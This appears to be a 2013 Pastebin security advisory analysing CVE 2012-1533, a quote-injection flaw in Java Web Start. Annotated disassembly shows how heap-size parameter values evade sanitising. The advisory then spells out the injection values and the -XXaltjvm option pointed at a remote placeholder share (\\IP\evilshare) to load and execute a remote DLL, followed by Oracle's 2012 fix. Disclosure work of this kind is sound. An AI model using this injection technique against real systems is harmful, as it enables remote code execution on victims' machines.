SHARE
TWEET

Advisory to CVE 2012-1533 by Rh0

a guest Jun 9th, 2013 665 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. =========================================================
  2. Java Web Start: The next Quote Inject Bug (CVE 2012-1533)
  3. =========================================================
  4.  
  5. Hello all,
  6.  
  7. This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but
  8. allows remote code execution in the same way.
  9.  
  10.  
  11. ======================
  12. Vulnerability Overview
  13. ======================
  14.  
  15. There exists an input validation vulnerability in at least Java Web Start 1.6.35
  16. and 1.7.07 when parsing JNLP files.
  17. A flaw exists in the routine which performs checks on the parameter values from
  18. a JNLP file. It allows the injection of non escaped double quotes (") into parameters
  19. of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a
  20. JNLP file can contain a double quote which is not properly sanitized when creating
  21. the command line for javaw.exe. This makes it possible to get a command line parameter
  22. with a value consisting only of one double quote injected. Further this allows manipulating
  23. the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE.
  24.  
  25.  
  26. ======================
  27. Vulnerability Details
  28. ======================
  29.  
  30. Notes:
  31. ------
  32. [*] A JNLP parameter will be refered to  by name=value (e.g.: initial-heap-size='64m"' )
  33. [*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31
  34. [*] javaws.exe has the base address of 0x00400000 in memory
  35. [*] Arrows (-->) indicate code continuation on next address block
  36. ------
  37.  
  38. Vulnerable program flow:
  39. ------------------------
  40. [*] If a JNLP file is opened by javaws.exe, it is read into memory
  41. and saved temporary in %TEMP%.
  42.  
  43. [*] JNLP parameters are parsed:
  44. [a] Check if a JNLP value begins with a single or a double quote:
  45. (EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside)
  46. 00404D60  MOV CL,BYTE PTR DS:[EAX]      ; CL: 1st char of '64m"' (single quote = 0x27)
  47. 00404D62  CMP CL,22                     ; check for double quote
  48. 00404D65  MOV DWORD PTR DS:[4227C4],EAX
  49. 00404D6A  JE SHORT javaws.00404D9F      ; jmp is not taken
  50. 00404D6C  CMP CL,27                     ; check for single quote
  51. 00404D6F  JE SHORT javaws.00404D9F      ; jmp is taken -->
  52. ...
  53.  
  54. [b] strip quotes which enclose the JNLP value and store it:
  55. 00404D9F  INC EAX                       ; points to 2nd char of JNLP value (1st char after single quote)
  56. 00404DA0  MOV DL,CL                     ; DL: 0x27 (single quote)
  57. 00404DA2  MOV CL,BYTE PTR DS:[EAX]      ; CL: 2nd char of JNLP value (0x36)
  58. 00404DA4  MOV DWORD PTR DS:[4227C4],EAX
  59. 00404DA9  MOV ESI,EAX
  60. 00404DAB  JMP SHORT javaws.00404DB4     ; start loop
  61. 00404DAD  /CMP CL,DL                    ; compare char of JNLP value to single quote
  62. 00404DAF  |JE SHORT javaws.00404DB8     ; loop until another single quote in JNLP value is encountered
  63. 00404DB1  |INC ESI                      ; increase pointer to chars in JNLP value
  64. 00404DB2  |MOV CL,BYTE PTR DS:[ESI]     ; put next char of value into CL
  65. 00404DB4   TEST CL,CL
  66. 00404DB6  \JNZ SHORT javaws.00404DAD    
  67. 00404DB8  PUSH EAX
  68. 00404DB9  PUSH 6
  69. 00404DBB  MOV EAX,ESI
  70. 00404DBD  CALL javaws.00404BF8          ; store stripped JNLP value ( in the example case: 64m" )
  71. ...
  72.  
  73. [*] The stripped JNLP values are used to construct the command line parameter for javaw.exe
  74. (e.g.: for JNLP parameter with name initial-heap-size) :
  75. 00401895  PUSH javaws.00418330          ; ASCII: -Xms%s
  76. 0040189A  PUSH EBX
  77. 0040189B  PUSH EAX
  78. 0040189C  CALL javaws.00406D26          ; construct command line parameter with -Xms%s and 64m"
  79. 004018A1  LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote)
  80. ...
  81.  
  82. [*] All constructed command line parameters for javaw.exe are sane checked:
  83. 00402B02  CALL javaws.00406911          ; run check routine -->
  84. ...
  85. 00406911  PUSH EBP
  86. 00406912  MOV EBP,ESP
  87. 00406914  PUSH EBX
  88. 00406915  PUSH ESI
  89. 00406916  PUSH EDI
  90. 00406917  MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters
  91. 0040691A  XOR EBX,EBX
  92. 0040691C  CMP DWORD PTR DS:[EDI],EBX
  93. 0040691E  MOV ESI,EDI
  94. 00406920  JE SHORT javaws.00406933
  95. 00406922  /PUSH DWORD PTR DS:[ESI]      ; push pointer to command line parameter
  96. 00406924  |CALL javaws.00406170         ; run check on command line parameter -->
  97. 00406929  |MOV DWORD PTR DS:[ESI],EAX
  98. 0040692B  |ADD ESI,4                    ; ESI: pointer to next command line parameter
  99. 0040692E  |CMP DWORD PTR DS:[ESI],EBX
  100. 00406930  |POP ECX
  101. 00406931  \JNZ SHORT javaws.00406922    ; loop until end of pointer list
  102. ...
  103. 00406170  PUSH EBX
  104. 00406171  MOV EBX,DWORD PTR SS:[ESP+8]  ; EBX: pointer to command line parameter ( e.g.: -Xms64m" )
  105. 00406175  TEST EBX,EBX
  106. 00406177  JNZ SHORT javaws.0040617D     ; -->
  107. ...
  108. 0040617D  MOV EAX,EBX
  109. 0040617F  LEA EDX,DWORD PTR DS:[EAX+1]  ; EDX: pointer to command line parameter without hyphen ( Xms64m" )
  110. 00406182  /MOV CL,BYTE PTR DS:[EAX]
  111. 00406184  |INC EAX
  112. 00406185  |TEST CL,CL
  113. 00406187  \JNZ SHORT javaws.00406182
  114. 00406189  PUSH ESI                      ; pointer to pointer of -Xms64m"
  115. 0040618A  SUB EAX,EDX                   ; EAX: length of Xms64m"\x00
  116. 0040618C  PUSH javaws.004199B8          ; ASCII \x20\x09 (space and tab)
  117. 00406191  PUSH EBX                      ; pointer to -Xms64m"
  118. 00406192  MOV ESI,EAX
  119. 00406194  CALL javaws.00409590          ; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found
  120. 00406199  TEST EAX,EAX                  ; EAX: 0x0 for -Xms64m"
  121. 0040619B  POP ECX
  122. 0040619C  POP ECX
  123. 0040619D  JNZ SHORT javaws.004061A8     ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !!
  124. 0040619F  PUSH EBX
  125. 004061A0  CALL javaws.004127F4          ; copy of -Xms64m" (~ strdup)
  126. 004061A5  POP ECX
  127. 004061A6  JMP SHORT javaws.00406215     ; jmp over the check routines !! ---------------------> 00406215  
  128. 004061A8  CMP ESI,1
  129. 004061AB  JLE SHORT javaws.004061B9
  130. 004061AD  CMP BYTE PTR DS:[EBX],22
  131. 004061B0  JNZ SHORT javaws.004061B9
  132. 004061B2  CMP BYTE PTR DS:[ESI+EBX-1],22
  133. 004061B7  JE SHORT javaws.0040619F
  134. 004061B9  XOR EAX,EAX
  135. 004061BB  TEST ESI,ESI
  136. 004061BD  LEA EDX,DWORD PTR DS:[ESI+3]
  137. 004061C0  JLE SHORT javaws.004061D5
  138. 004061C2  /MOV CL,BYTE PTR DS:[EAX+EBX]
  139. 004061C5  |CMP CL,22
  140. 004061C8  |JE SHORT javaws.004061CF
  141. 004061CA  |CMP CL,5C
  142. 004061CD  |JNZ SHORT javaws.004061D0
  143. 004061CF  |INC EDX
  144. 004061D0  |INC EAX
  145. 004061D1  |CMP EAX,ESI
  146. 004061D3  \JL SHORT javaws.004061C2
  147. 004061D5  PUSH EDX
  148. 004061D6  CALL javaws.004089CD
  149. 004061DB  TEST EAX,EAX
  150. 004061DD  POP ECX
  151. 004061DE  JE SHORT javaws.00406215
  152. 004061E0  XOR ECX,ECX
  153. 004061E2  PUSH EDI
  154. 004061E3  INC ECX
  155. 004061E4  XOR EDI,EDI
  156. 004061E6  TEST ESI,ESI
  157. 004061E8  MOV BYTE PTR DS:[EAX],22      ; *** prepend command line parameter with double quote
  158. 004061EB  JLE SHORT javaws.0040620B
  159. 004061ED  /MOV DL,BYTE PTR DS:[EDI+EBX]
  160. 004061F0  |CMP DL,22                    ; *** check for "
  161. 004061F3  |JE SHORT javaws.004061FA
  162. 004061F5  |CMP DL,5C                    ; *** check for \
  163. 004061F8  |JNZ SHORT javaws.004061FF
  164. 004061FA  |MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ )
  165. 004061FE  |INC ECX
  166. 004061FF  |MOV DL,BYTE PTR DS:[EDI+EBX]
  167. 00406202  |MOV BYTE PTR DS:[EAX+ECX],DL
  168. 00406205  |INC ECX
  169. 00406206  |INC EDI
  170. 00406207  |CMP EDI,ESI
  171. 00406209  \JL SHORT javaws.004061ED
  172. 0040620B  ADD ECX,EAX
  173. 0040620D  MOV BYTE PTR DS:[ECX],22      ; *** append command line parameter with double quote to enclose it
  174. 00406210  MOV BYTE PTR DS:[ECX+1],0
  175. 00406214  POP EDI
  176. 00406215  POP ESI                       ; -----------------> we land here
  177. 00406216  POP EBX
  178. 00406217  RETN
  179. ...
  180.  
  181. [*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes
  182. the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes
  183. inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside
  184. the constructed command line parameter (see 0040619D ).
  185.  
  186. [*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB "
  187. which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB "
  188.  
  189. [*] The command line for javaw.exe then contains the two parameters after each other, so we get:
  190. javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...]
  191.  
  192. [*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection
  193. works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can
  194. be on a webserver) and execute it.
  195.  
  196.  
  197. ===
  198. Fix
  199. ===
  200.  
  201. [*] This vulnerability was fixed by Oracle in Oct. 2012
  202. http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
  203. The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters.
  204. Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following:
  205.  
  206. [a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added:
  207. http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png
  208.  
  209. [b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter
  210. values gained by sub_405BD5:
  211. http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png
  212.  
  213.  
  214. [*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days
  215. when it was a 0day:
  216. http://pastebin.com/9RztwVez
  217.  
  218.  
  219.  
  220.  
  221. Cheers,
  222.  
  223. Rh0
RAW Paste Data
Pastebin PRO Summer Special!
Get 60% OFF on Pastebin PRO accounts!
Top